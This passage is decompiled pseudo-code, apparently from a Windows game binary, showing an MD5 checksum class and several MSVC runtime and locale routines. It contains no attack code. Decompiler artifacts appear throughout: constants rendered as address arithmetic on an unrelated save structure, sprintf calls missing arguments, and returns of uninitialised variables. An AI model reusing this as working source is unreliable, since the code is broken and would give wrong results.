~v7) - 680876936; v11 = v7 + ((v10 << 7) | (v10 >> 25)); v12 = v9 + X[1] + (v11 & v7 | v8 & ~(v7 + ((v10 << 7) | (v10 >> 25)))) - 389564586; v13 = v11 + (unsigned __int64)((signed __int64)__PAIR__(v12, v12) >> 20); v14 = v8 + X[2] + (v11 & v13 | v7 & ~(v11 + (unsigned __int64)((signed __int64)__PAIR__(v12, v12) >> 20))) + 606105819; v15 = v13 + ((v14 << 17) | (v14 >> 15)); v16 = v7 + X[3] + (v15 & v13 | v11 & ~(v13 + ((v14 << 17) | (v14 >> 15)))) - 1044525330; v17 = v15 + ((v16 >> 10) | (v16 << 22)); v18 = v11 + X[4] + (v17 & v15 | v13 & ~(v15 + ((v16 >> 10) | (v16 << 22)))) - 176418897; v19 = v17 + ((v18 << 7) | (v18 >> 25)); v20 = v13 + X[5] + (v19 & v17 | v15 & ~(v17 + ((v18 << 7) | (v18 >> 25)))) + 1200080426; v21 = v19 + (unsigned __int64)((signed __int64)__PAIR__(v20, v20) >> 20); v22 = v15 + X[6] + (v19 & v21 | v17 & ~(v19 + (unsigned __int64)((signed __int64)__PAIR__(v20, v20) >> 20))) - 1473231341; v23 = v21 + ((v22 << 17) | (v22 >> 15)); v24 = v17 + X[7] + (v23 & v21 | v19 & ~(v21 + ((v22 << 17) | (v22 >> 15)))) - 45705983; v25 = v23 + ((v24 >> 10) | (v24 << 22)); v26 = v19 + X[8] + (v25 & v23 | v21 & ~(v23 + ((v24 >> 10) | (v24 << 22)))) + 1770035416; v27 = v25 + ((v26 << 7) | (v26 >> 25)); v28 = v21 + X[9] + (v27 & v25 | v23 & ~(v25 + ((v26 << 7) | (v26 >> 25)))) - 1958414417; v29 = v27 + (unsigned __int64)((signed __int64)__PAIR__(v28, v28) >> 20); v30 = v23 + X[10] + (v27 & v29 | v25 & ~(v27 + (unsigned __int64)((signed __int64)__PAIR__(v28, v28) >> 20))) - 42063; v31 = v29 + ((v30 << 17) | (v30 >> 15)); v32 = v25 + X[11] + (v31 & v29 | v27 & ~(v29 + ((v30 << 17) | (v30 >> 15)))) - 1990404162; v33 = v31 + ((v32 >> 10) | (v32 << 22)); v34 = v27 + X[12] + (v33 & v31 | v29 & ~(v31 + ((v32 >> 10) | (v32 << 22)))) + 1804603682; v35 = v33 + ((v34 << 7) | (v34 >> 25)); v36 = v29 + X[13] + (v35 & v33 | v31 & ~(v33 + ((v34 << 7) | (v34 >> 25)))) - 40341101; v37 = v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20); v38 = ~(v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20)); v39 = v31 + X[14] + (v35 & v37 | v33 & ~(v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20))) - 1502002290; v40 = v37 + ((v39 << 17) | (v39 >> 15)); v41 = ~(v37 + ((v39 << 17) | (v39 >> 15))); Blocka = v41; v42 = v33 + X[15] + (v40 & v37 | v35 & v41) + 1236535329; v43 = v40 + ((v42 >> 10) | (v42 << 22)); v44 = v35 + X[1] + (v43 & v37 | v40 & v38) - 165796510; v45 = v43 + (32 * v44 | (v44 >> 27)); v46 = v37 + X[6] + (v45 & v40 | v43 & Blocka) - 1069501632; v47 = v45 + (unsigned __int64)((signed __int64)__PAIR__(v46, v46) >> 23); v48 = v40 + X[11] + (v43 & v47 | v45 & ~v43) + 643717713; v49 = v47 + ((v48 << 14) | (v48 >> 18)); v50 = v43 + X[0] + (v45 & v49 | v47 & ~(v43 + (32 * v44 | (v44 >> 27)))) - 373897302; v51 = v49 + ((v50 >> 12) | (v50 << 20)); v52 = v45 + X[5] + (v51 & v47 | v49 & ~v47) - 701558691; v53 = v51 + (32 * v52 | (v52 >> 27)); v54 = &wholesaver.ws_savestore[372].esc_skill.buffer[v47 + 30935] + X[10] + (v53 & v49 | v51 & ~v49); v55 = v53 + (unsigned __int64)((signed __int64)__PAIR__((unsigned int)v54, (unsigned int)v54) >> 23); v56 = v55 + (((v49 + X[15] + (v51 & v55 | v53 & ~v51) - 660478335) << 14) | ((v49 + X[15] + (v51 & v55 | v53 & (unsigned int)~v51) - 660478335) >> 18)); v57 = v51 + X[4] + (v53 & v56 | v55 & ~v53) - 405537848; v58 = v56 + ((v57 >> 12) | (v57 << 20)); v59 = v53 + X[9] + (v58 & v55 | v56 & ~v55) + 568446438; v60 = v58 + (32 * v59 | (v59 >> 27)); v61 = v55 + X[14] + (v60 & v56 | v58 & ~v56) - 1019803690; v62 = v60 + (unsigned __int64)((signed __int64)__PAIR__(v61, v61) >> 23); v63 = v56 + X[3] + (v58 & v62 | v60 & ~v58) - 187363961; v64 = v62 + ((v63 << 14) | (v63 >> 18)); v65 = v58 + X[8] + (v60 & v64 | v62 & ~v60) + 1163531501; v66 = v64 + ((v65 >> 12) | (v65 << 20)); v67 = v66 + (32 * (v60 + X[13] + (v66 & v62 | v64 & ~v62) - 1444681467) | ((v60 + X[13] + (v66 & v62 | v64 & (unsigned int)~v62) - 1444681467) >> 27)); v68 = v62 + X[2] + (v67 & v64 | v66 & ~v64) - 51403784; v69 = v67 + (unsigned __int64)((signed __int64)__PAIR__(v68, v68) >> 23); v70 = v64 + X[7] + (v66 & (v67 + (unsigned __int64)((signed __int64)__PAIR__(v68, v68) >> 23)) | v67 & ~v66) + 1735328473; v71 = v69 + ((v70 << 14) | (v70 >> 18)); v72 = v66 + X[12] + (v67 & v71 | v69 & ~v67) - 1926607734; v73 = v71 + ((v72 >> 12) | (v72 << 20)); v74 = v67 + X[5] + (v73 ^ v71 ^ v69) - 378558; v75 = v73 + (16 * v74 | (v74 >> 28)); v76 = v69 + X[8] + (v75 ^ v73 ^ v71) - 2022574463; v77 = v75 + ((v76 << 11) | (v76 >> 21)); v78 = v77 + (((v71 + X[11] + (v75 ^ v73 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) + 1839030562) << 16) | ((v71 + X[11] + (v75 ^ v73 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) + 1839030562) >> 16)); v79 = v78 ^ (v75 + ((v76 << 11) | (v76 >> 21))); v80 = v73 + X[14] + (v75 ^ v78 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) - 35309556; v81 = v78 + ((v80 >> 9) | (v80 << 23)); v82 = v81 + (16 * (v75 + X[1] + (v81 ^ v79) - 1530992060) | ((v75 + X[1] + (v81 ^ (unsigned int)v79) - 1530992060) >> 28)); v83 = v77 + X[4] + (v82 ^ v81 ^ v78) + 1272893353; v84 = v82 + ((v83 << 11) | (v83 >> 21)); v85 = v78 + X[7] + (v82 ^ v81 ^ v84) - 155497632; v86 = v84 + ((v85 << 16) | (v85 >> 16)); v87 = v81 + X[10] + (v82 ^ v86 ^ v84) - 1094730640; v88 = v86 + ((v87 >> 9) | (v87 << 23)); v89 = v82 + X[13] + (v88 ^ v86 ^ v84) + 681279174; v90 = v88 + (16 * v89 | (v89 >> 28)); v91 = v84 + X[0] + (v90 ^ v88 ^ v86) - 358537222; v92 = v90 + ((v91 << 11) | (v91 >> 21)); v93 = v86 + X[3] + (v90 ^ v88 ^ (v90 + ((v91 << 11) | (v91 >> 21)))) - 722521979; v94 = v92 + ((v93 << 16) | (v93 >> 16)); v95 = v94 ^ (v90 + ((v91 << 11) | (v91 >> 21))); v96 = v94 + (((unsigned int)(&wholesaver.ws_savestore[853].esc_abstate.buffer[v88 + 10637] + X[6] + (v90 ^ v95)) >> 9) | ((_DWORD)((char *)&wholesaver + v88 + X[6] + (v90 ^ v95) + 67513765) << 23)); v97 = v96 + (16 * (v90 + X[9] + (v96 ^ v95) - 640364487) | ((v90 + X[9] + (v96 ^ v95) - 640364487) >> 28)); v98 = v92 + X[12] + (v97 ^ v96 ^ v94) - 421815835; v99 = v97 + ((v98 << 11) | (v98 >> 21)); v100 = v94 + X[15] + (v97 ^ v96 ^ (v97 + ((v98 << 11) | (v98 >> 21)))) + 530742520; v101 = v99 + ((v100 << 16) | (v100 >> 16)); v102 = v96 + X[2] + (v97 ^ v101 ^ v99) - 995338651; v103 = v101 + ((v102 >> 9) | (v102 << 23)); v104 = v97 + X[0] + (v101 ^ (v103 | ~v99)) - 198630844; v105 = v103 + ((v104 << 6) | (v104 >> 26)); v106 = v99 + X[7] + (v103 ^ (v105 | ~v101)) + 1126891415; v107 = v105 + ((v106 << 10) | (v106 >> 22)); v108 = v101 + X[14] + (v105 ^ (v107 | ~v103)) - 1416354905; v109 = v107 + ((v108 << 15) | (v108 >> 17)); v110 = v103 + X[5] + (v107 ^ (v109 | ~v105)) - 57434055; v111 = v109 + ((v110 >> 11) | (v110 << 21)); v112 = v105 + X[12] + (v109 ^ (v111 | ~v107)) + 1700485571; v113 = v111 + ((v112 << 6) | (v112 >> 26)); v114 = v107 + X[3] + (v111 ^ (v113 | ~v109)) - 1894986606; v115 = v113 + ((v114 << 10) | (v114 >> 22)); v116 = v109 + X[10] + (v113 ^ (v115 | ~v111)) - 1051523; v117 = v115 + ((v116 << 15) | (v116 >> 17)); v118 = v111 + X[1] + (v115 ^ (v117 | ~v113)) - 2054922799; v119 = v117 + ((v118 >> 11) | (v118 << 21)); v120 = v113 + X[8] + (v117 ^ (v119 | ~v115)) + 1873313359; v121 = v119 + ((v120 << 6) | (v120 >> 26)); v122 = v115 + X[15] + (v119 ^ (v121 | ~v117)) - 30611744; v123 = v121 + ((v122 << 10) | (v122 >> 22)); v124 = v117 + X[6] + (v121 ^ (v123 | ~v119)) - 1560198380; v125 = v123 + ((v124 << 15) | (v124 >> 17)); v126 = v119 + X[13] + (v123 ^ (v125 | ~v121)) + 1309151649; v127 = v125 + ((v126 >> 11) | (v126 << 21)); v128 = v121 + X[4] + (v125 ^ (v127 | ~v123)) - 145523070; v129 = v127 + ((v128 << 6) | (v128 >> 26)); v130 = v123 + X[11] + (v127 ^ (v129 | ~v125)) - 1120210379; v131 = v129 + ((v130 << 10) | (v130 >> 22)); v132 = v125 + X[2] + (v129 ^ (v131 | ~v127)) + 718787259; v133 = v131 + ((v132 << 15) | (v132 >> 17)); v134 = v127 + X[9] + (v131 ^ (v133 | ~v129)) - 343485551; v135->m_lMD5[0] += v129; v135->m_lMD5[1] += v133 + ((v134 >> 11) | (v134 << 21)); v135->m_lMD5[2] += v133; v135->m_lMD5[3] += v131; } //----- (00575200) -------------------------------------------------------- void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen) { CMD5Checksum *v3; // ebx@1 unsigned int v4; // edx@1 unsigned int v5; // ecx@1 unsigned int v6; // eax@1 unsigned int v7; // edx@1 int v8; // eax@1 unsigned int v9; // ebp@3 unsigned int v10; // esi@4 unsigned int i; // edi@4 v3 = this; v4 = this->m_nCount[0]; v5 = nInputLen; v6 = v4 >> 3; v7 = v4 + 8 * nInputLen; v8 = v6 & 0x3F; v3->m_nCount[0] = v7; if ( v7 < 8 * nInputLen ) ++v3->m_nCount[1]; v9 = 64 - v8; v3->m_nCount[1] += nInputLen >> 29; if ( nInputLen < 64 - v8 ) { i = 0; } else { memcpy(&v3->m_lpszBuffer[v8], Input, v9); CMD5Checksum::Transform(v3, v3->m_lpszBuffer); v10 = v9 + 63; for ( i = v9; v10 < nInputLen; i += 64 ) { CMD5Checksum::Transform(v3, &Input[v10 - 63]); v10 += 64; } v5 = nInputLen; v8 = 0; } memcpy(&v3->m_lpszBuffer[v8], &Input[i], v5 - i); } //----- (005752C0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result) { CMD5Checksum *v2; // esi@1 unsigned int v3; // ecx@1 int v4; // eax@1 int v5; // ecx@3 signed int v6; // eax@3 unsigned int v7; // ecx@5 int v8; // eax@5 signed int v9; // esi@7 char v10; // al@8 int v11; // eax@14 char v12; // cl@15 std::basic_string,std::allocator > *v13; // eax@21 char *v14; // [sp-18h] [bp-90h]@11 const char *v15; // [sp-14h] [bp-8Ch]@11 char lpszMD5[16]; // [sp+0h] [bp-78h]@1 std::basic_string,std::allocator > Str; // [sp+10h] [bp-68h]@14 std::basic_string,std::allocator > strMD5; // [sp+2Ch] [bp-4Ch]@7 char lptemp[32]; // [sp+48h] [bp-30h]@9 unsigned int v20; // [sp+68h] [bp-10h]@21 int v21; // [sp+74h] [bp-4h]@7 v2 = this; *(_DWORD *)lpszMD5 = 0; v3 = 0; v4 = (int)((char *)&v2->m_nCount[0] + 2); do { lpszMD5[v3] = *(_BYTE *)(v4 - 2); lpszMD5[v3 + 1] = *(_BYTE *)(v4 - 1); lpszMD5[v3 + 2] = *(_BYTE *)v4; lpszMD5[v3 + 3] = *(_BYTE *)(v4 + 1); v3 += 4; v4 += 4; } while ( v3 < 8 ); v5 = (v2->m_nCount[0] >> 3) & 0x3F; v6 = 56; if ( (unsigned int)v5 >= 0x38 ) v6 = 120; CMD5Checksum::Update(v2, PADDING, v6 - v5); CMD5Checksum::Update(v2, lpszMD5, 8u); v7 = 0; v8 = (int)((char *)&v2->m_lMD5[0] + 2); do { lpszMD5[v7] = *(_BYTE *)(v8 - 2); lpszMD5[v7 + 1] = *(_BYTE *)(v8 - 1); lpszMD5[v7 + 2] = *(_BYTE *)v8; lpszMD5[v7 + 3] = *(_BYTE *)(v8 + 1); v7 += 4; v8 += 4; } while ( v7 < 0x10 ); strMD5._Myres = 15; strMD5._Mysize = 0; strMD5._Bx._Buf[0] = 0; v21 = 0; v9 = 0; do { v10 = lpszMD5[v9]; if ( v10 ) { if ( (unsigned __int8)v10 > 0xFu ) { v15 = "%x"; v14 = lptemp; } else { v15 = "0%x"; v14 = lptemp; } sprintf(v14, v15); } else { sprintf(lptemp, "00"); } v11 = (int)lptemp; Str._Myres = 15; Str._Mysize = 0; Str._Bx._Buf[0] = 0; do v12 = *(_BYTE *)v11++; while ( v12 ); std::basic_string_std::allocator>::assign(&Str, lptemp, v11 - (_DWORD)&lptemp[1]); LOBYTE(v21) = 1; std::basic_string_std::allocator>::append(&strMD5, &Str, 0, 0xFFFFFFFFu); LOBYTE(v21) = 0; if ( Str._Myres >= 0x10 ) operator delete(*(void **)&Str._Bx._Buf[0]); ++v9; Str._Myres = 15; Str._Mysize = 0; Str._Bx._Buf[0] = 0; } while ( v9 < 16 ); result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, &strMD5, 0, 0xFFFFFFFFu); if ( strMD5._Myres >= 0x10 ) operator delete(*(void **)&strMD5._Bx._Buf[0]); __security_check_cookie(v20); return v13; } //----- (005754B0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength) { std::basic_string,std::allocator > *v3; // eax@1 CMD5Checksum MD5Checksum; // [sp+4h] [bp-6Ch]@1 unsigned int v5; // [sp+60h] [bp-10h]@1 int v6; // [sp+6Ch] [bp-4h]@1 MD5Checksum.vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; memset(MD5Checksum.m_lpszBuffer, 0, sizeof(MD5Checksum.m_lpszBuffer)); MD5Checksum.m_nCount[1] = 0; MD5Checksum.m_nCount[0] = 0; MD5Checksum.m_lMD5[0] = 1732584193; MD5Checksum.m_lMD5[1] = -271733879; MD5Checksum.m_lMD5[2] = -1732584194; MD5Checksum.m_lMD5[3] = 271733878; v6 = 0; CMD5Checksum::Update(&MD5Checksum, pBuf, nLength); CMD5Checksum::Final(&MD5Checksum, result); __security_check_cookie(v5); return v3; } // 5E86B0: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (00575562) -------------------------------------------------------- void *__cdecl operator new(unsigned int size) { void *result; // eax@4 while ( 1 ) { result = malloc(size); if ( result ) break; if ( !_callnewh(size) ) std::_Nomemory(); } return result; } //----- (00575586) -------------------------------------------------------- void __thiscall std::_String_base::_Xran(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "invalid string position"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 575586: inconsistent function type and number of purged bytes // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (005755C6) -------------------------------------------------------- void __thiscall std::_String_base::_Xlen(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "string too long"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5755C6: inconsistent function type and number of purged bytes // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00575606) -------------------------------------------------------- int __cdecl _Tolower_lk(int c, _Ctypevec *ploc) { _Ctypevec *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@5 int v5; // eax@14 int v6; // eax@16 int v7; // eax@20 int codepage; // [sp+4h] [bp-10h]@4 unsigned int handle; // [sp+8h] [bp-Ch]@2 char outbuffer[3]; // [sp+10h] [bp-4h]@16 v2 = ploc; if ( ploc ) { handle = ploc->_Hand; v3 = ploc->_Page; } else { handle = ___lc_handle_func()[2]; v3 = ___lc_codepage_func(); } codepage = v3; if ( handle ) { if ( (unsigned int)c < 0x100 ) { if ( v2 ) { if ( !(v2->_Table[c] & 1) ) return c; } else { if ( !isupper(c) ) return c; } } if ( HIBYTE(__pctype_func()[BYTE1(c)]) & 0x80 ) { LOBYTE(ploc) = BYTE1(c); *(_WORD *)((char *)&ploc + 1) = (unsigned __int8)c; v5 = 2; } else { LOWORD(ploc) = (unsigned __int8)c; v5 = 1; } v6 = __crtLCMapStringA(handle, 0x100u, (const char *)&ploc, v5, outbuffer, 3, codepage, 1); if ( v6 ) { if ( v6 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v7 = 0; BYTE1(v7) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v7; } return result; } return c; } result = c; if ( c >= 65 ) { if ( c <= 90 ) result = c + 32; } return result; } //----- (005756EF) -------------------------------------------------------- _Ctypevec *__cdecl _Getctype(_Ctypevec *result) { int *v1; // eax@1 int *v2; // eax@2 unsigned int v3; // ST18_4@4 char *v4; // eax@5 _Ctypevec *v5; // eax@8 int *v6; // eax@9 void *ctype_8; // [sp+14h] [bp-24h]@4 signed int local_lock_flag; // [sp+1Ch] [bp-1Ch]@2 v1 = ___unguarded_readlc_active_add_func(); InterlockedIncrement(v1); if ( ___setlc_active_func() ) { v2 = ___unguarded_readlc_active_add_func(); InterlockedDecrement(v2); _lock(12); local_lock_flag = 1; } else { local_lock_flag = 0; } v3 = ___lc_handle_func()[1]; ___lc_codepage_func(); ctype_8 = malloc(0x200u); if ( ctype_8 ) { v4 = (char *)__pctype_func(); memcpy((char *)ctype_8, v4, 0x200u); } else { __pctype_func(); } if ( local_lock_flag ) { _unlock(12); } else { v6 = ___unguarded_readlc_active_add_func(); v5 = (_Ctypevec *)InterlockedDecrement(v6); } return v5; } //----- (005757BA) -------------------------------------------------------- int __cdecl _Tolower(int c, _Ctypevec *ploc) { unsigned int v2; // eax@2 int result; // eax@5 int *v4; // eax@8 int *v5; // eax@9 int *v6; // eax@15 signed int local_lock_flag; // [sp+Ch] [bp-1Ch]@9 if ( ploc ) v2 = ploc->_Hand; else v2 = ___lc_handle_func()[2]; if ( v2 ) { v4 = ___unguarded_readlc_active_add_func(); InterlockedIncrement(v4); if ( ___setlc_active_func() ) { v5 = ___unguarded_readlc_active_add_func(); InterlockedDecrement(v5); _lock(12); local_lock_flag = 1; } else { local_lock_flag = 0; } _Tolower_lk(c, ploc); if ( local_lock_flag ) { _unlock(12); } else { v6 = ___unguarded_readlc_active_add_func(); result = InterlockedDecrement(v6); } } else { result = c; if ( c >= 65 ) { if ( c <= 90 ) result = c + 32; } } return result; } //----- (00575866) -------------------------------------------------------- _Cvtvec __cdecl _Getcvt() { int *v0; // eax@1 int *v1; // eax@2 unsigned int v2; // ST14_4@4 _Cvtvec result; // qax@5 int *v4; // eax@6 signed int local_lock_flag; // [sp+14h] [bp-1Ch]@2 v0 = ___unguarded_readlc_active_add_func(); InterlockedIncrement(v0); if ( ___setlc_active_func() ) { v1 = ___unguarded_readlc_active_add_func(); InterlockedDecrement(v1); _lock(12); local_lock_flag = 1; } else { local_lock_flag = 0; } v2 = ___lc_handle_func()[2]; ___lc_codepage_func(); if ( local_lock_flag ) { _unlock(12); } else { v4 = ___unguarded_readlc_active_add_func(); result._Hand = InterlockedDecrement(v4); } return result; } //----- (005758F1) -------------------------------------------------------- void __thiscall std::_Init_locks::_Init_locks(std::_Init_locks *this) { _RTL_CRITICAL_SECTION *v1; // esi@2 if ( !InterlockedIncrement(&init) ) { v1 = &mtx; do { _Mtxinit(v1); ++v1; } while ( (signed int)v1 < (signed int)&initlocks ); } } //----- (00575920) -------------------------------------------------------- void __thiscall std::_Init_locks::__Init_locks(std::_Init_locks *this) { _RTL_CRITICAL_SECTION *v1; // esi@2 if ( InterlockedDecrement(&init) < 0 ) { v1 = &mtx; do { _Mtxdst(v1); ++v1; } while ( (signed int)v1 < (signed int)&initlocks ); } } //----- (00575949) -------------------------------------------------------- void __thiscall std::_Lockit::_Lockit(std::_Lockit *this, int kind) { int v2; // eax@1 v2 = kind & 3; this->_Locktype = v2; _Mtxlock((_RTL_CRITICAL_SECTION *)(24 * v2 + 342687600)); } //----- (0057596C) -------------------------------------------------------- void __thiscall std::_Lockit::__Lockit(std::_Lockit *this) { _Mtxunlock((_RTL_CRITICAL_SECTION *)(24 * this->_Locktype + 342687600)); } //----- (00575980) -------------------------------------------------------- void __thiscall std::_Fac_node::__Fac_node(std::_Fac_node *this) { std::locale::facet *v1; // eax@1 v1 = std::locale::facet::_Decref(this->_Facptr); if ( v1 ) v1->vfptr->__vecDelDtor(v1, 1u); } //----- (00575995) -------------------------------------------------------- void __cdecl _Deletegloballocale(void *ptr) { std::locale::facet *v1; // eax@2 if ( *(_DWORD *)ptr ) { v1 = std::locale::facet::_Decref(*(std::locale::facet **)ptr); if ( v1 ) v1->vfptr->__vecDelDtor(v1, 1u); } } //----- (005759B1) -------------------------------------------------------- void __thiscall tidy_global(int this) { std::_Lockit lock; // [sp+0h] [bp-4h]@1 lock._Locktype = this; std::_Lockit::_Lockit(&lock, 0); _Deletegloballocale(&global_locale); std::_Lockit::__Lockit(&lock); } //----- (005759D4) -------------------------------------------------------- void __cdecl _Setgloballocale(void *ptr) { if ( !registered ) { registered = 1; _Atexit((void (__cdecl *)())tidy_global); } global_locale = (std::locale::_Locimp *)ptr; } //----- (005759F9) -------------------------------------------------------- std::locale::facet *__thiscall std::locale::_Getfacet(std::locale *this, unsigned int id) { int v2; // ecx@1 std::locale::facet *result; // eax@2 v2 = *(_DWORD *)&this->___u0.baseclass_0.dummy[0]; if ( id >= *(_DWORD *)(v2 + 12) ) result = 0; else result = *(std::locale::facet **)(*(_DWORD *)(v2 + 8) + 4 * id); if ( !result && *(_BYTE *)(v2 + 20) ) { if ( id >= global_locale->_Facetcount ) result = 0; else result = global_locale->_Facetvec[id]; } return result; } //----- (00575A2E) -------------------------------------------------------- void __thiscall _Fac_tidy(int this) { std::_Fac_node **i; // eax@1 void *v2; // esi@2 std::_Lockit lock; // [sp+0h] [bp-4h]@1 lock._Locktype = this; std::_Lockit::_Lockit(&lock, 0); for ( i = (std::_Fac_node **)Fac_head; Fac_head; i = (std::_Fac_node **)Fac_head ) { v2 = i; Fac_head = *i; std::_Fac_node::__Fac_node((std::_Fac_node *)i); operator delete(v2); } std::_Lockit::__Lockit(&lock); } //----- (00575A71) -------------------------------------------------------- void __thiscall std::locale::facet::_Register(std::locale::facet *this) { std::locale::facet *v1; // esi@1 void *v2; // eax@3 v1 = this; if ( !Fac_head ) _Atexit((void (__cdecl *)())_Fac_tidy); v2 = operator new(8u); if ( v2 ) { *(_DWORD *)v2 = Fac_head; *((_DWORD *)v2 + 1) = v1; } else { v2 = 0; } Fac_head = (std::_Fac_node *)v2; } //----- (00575AAA) -------------------------------------------------------- void __thiscall std::locale::_Locimp::__Locimp(std::locale::_Locimp *this) { std::locale::_Locimp *v1; // esi@1 unsigned int v2; // edi@1 std::locale::facet *v3; // ecx@2 std::locale::facet *v4; // eax@3 std::_Lockit thisa; // [sp+4h] [bp-10h]@1 int v6; // [sp+10h] [bp-4h]@1 thisa._Locktype = (int)this; v1 = this; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::_Locimp::_vftable_; v6 = 1; std::_Lockit::_Lockit(&thisa, 0); v2 = v1->_Facetcount; LOBYTE(v6) = 2; while ( v2 ) { --v2; v3 = v1->_Facetvec[v2]; if ( v3 ) { v4 = std::locale::facet::_Decref(v3); if ( v4 ) v4->vfptr->__vecDelDtor(v4, 1u); } } free(v1->_Facetvec); LOBYTE(v6) = 1; std::_Lockit::__Lockit(&thisa); std::basic_string_std::allocator>::_Tidy(&v1->_Name, 1, 0); v1->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 5E873C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); // 5E8744: using guessed type int (__thiscall *std__locale___Locimp___vftable_)(void *p, char); //----- (00575B32) -------------------------------------------------------- void __thiscall std::_Locinfo::__Locinfo(std::_Locinfo *this) { std::_Locinfo *v1; // esi@1 const char *v2; // eax@3 v1 = this; if ( this->_Oldlocname._Mysize ) { if ( this->_Oldlocname._Myres < 0x10 ) v2 = (const char *)&this->_Oldlocname._Bx; else v2 = *(const char **)&this->_Oldlocname._Bx._Buf[0]; setlocale(0, v2); } std::basic_string_std::allocator>::_Tidy(&v1->_Newlocname, 1, 0); std::basic_string_std::allocator>::_Tidy(&v1->_Oldlocname, 1, 0); std::basic_string_std::allocator>::_Tidy(&v1->_Months, 1, 0); std::basic_string_std::allocator>::_Tidy(&v1->_Days, 1, 0); std::_Lockit::__Lockit(&v1->_Lock); } //----- (00575B89) -------------------------------------------------------- void *__thiscall std::locale::_Locimp::_scalar_deleting_destructor_(std::locale::_Locimp *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::locale::_Locimp::__Locimp(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00575BA5) -------------------------------------------------------- void __thiscall std::locale::_Locimp::_Locimp(std::locale::_Locimp *this, bool transparent) { this->baseclass_0._Refs = 1; this->_Facetvec = 0; this->_Facetcount = 0; this->_Catmask = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::_Locimp::_vftable_; this->_Xparent = transparent; std::basic_string_std::allocator>::basic_string_std::allocator>( &this->_Name, "*"); } // 5E8744: using guessed type int (__thiscall *std__locale___Locimp___vftable_)(void *p, char); //----- (00575BF5) -------------------------------------------------------- void __thiscall std::_Locinfo::_Locinfo(std::_Locinfo *this, const char *locname) { std::_Locinfo *v2; // esi@1 char *v3; // eax@1 char *v4; // eax@2 v2 = this; std::_Lockit::_Lockit(&this->_Lock, 0); std::basic_string_std::allocator>::basic_string_std::allocator>(&v2->_Days); std::basic_string_std::allocator>::basic_string_std::allocator>(&v2->_Months); std::basic_string_std::allocator>::basic_string_std::allocator>(&v2->_Oldlocname); std::basic_string_std::allocator>::basic_string_std::allocator>(&v2->_Newlocname); v3 = setlocale(0, 0); std::basic_string_std::allocator>::assign(&v2->_Oldlocname, v3); if ( !locname || (v4 = setlocale(0, locname)) == 0 ) v4 = "*"; std::basic_string_std::allocator>::assign(&v2->_Newlocname, v4); } //----- (00575C7F) -------------------------------------------------------- std::locale::_Locimp *__cdecl std::locale::_Init() { int v0; // ecx@0 std::locale::_Locimp *v1; // esi@1 void *v2; // ecx@3 std::locale::_Locimp *v3; // eax@4 std::_Lockit this; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@2 this._Locktype = v0; v1 = global_locale; if ( !global_locale ) { std::_Lockit::_Lockit(&this, (int)global_locale); v6 &= (unsigned int)v1; v1 = global_locale; if ( !global_locale ) { v2 = operator new(0x34u); LOBYTE(v6) = 1; if ( v2 ) { std::locale::_Locimp::_Locimp((std::locale::_Locimp *)v2, (bool)v1); v1 = v3; } else { v1 = 0; } LOBYTE(v6) = 0; _Setgloballocale(v1); v1->_Catmask = 63; std::basic_string_std::allocator>::assign(&v1->_Name, "C"); std::locale::_Locimp::_Clocptr = (int)v1; std::locale::facet::_Incref(&v1->baseclass_0); classic_locale = (std::locale)std::locale::_Locimp::_Clocptr; } v6 = -1; std::_Lockit::__Lockit(&this); } return v1; } // 146CFFDC: using guessed type int std__locale___Locimp___Clocptr; //----- (00575D21) -------------------------------------------------------- void __thiscall std::locale::locale(std::locale *this) { *(_DWORD *)&this->___u0.baseclass_0.dummy[0] = std::locale::_Init(); std::locale::facet::_Incref(&global_locale->baseclass_0); } //----- (00575D3A) -------------------------------------------------------- void __thiscall std::ios_base::_Callfns(std::ios_base *this, std::ios_base::event ev) { std::ios_base *v2; // edi@1 std::ios_base::_Fnarray *i; // esi@1 v2 = this; for ( i = this->_Calls; i; i = i->_Next ) i->_Pfn(ev, v2, i->_Index); } //----- (00575D5C) -------------------------------------------------------- void __thiscall std::ios_base::_Tidy(std::ios_base *this) { std::ios_base *v1; // 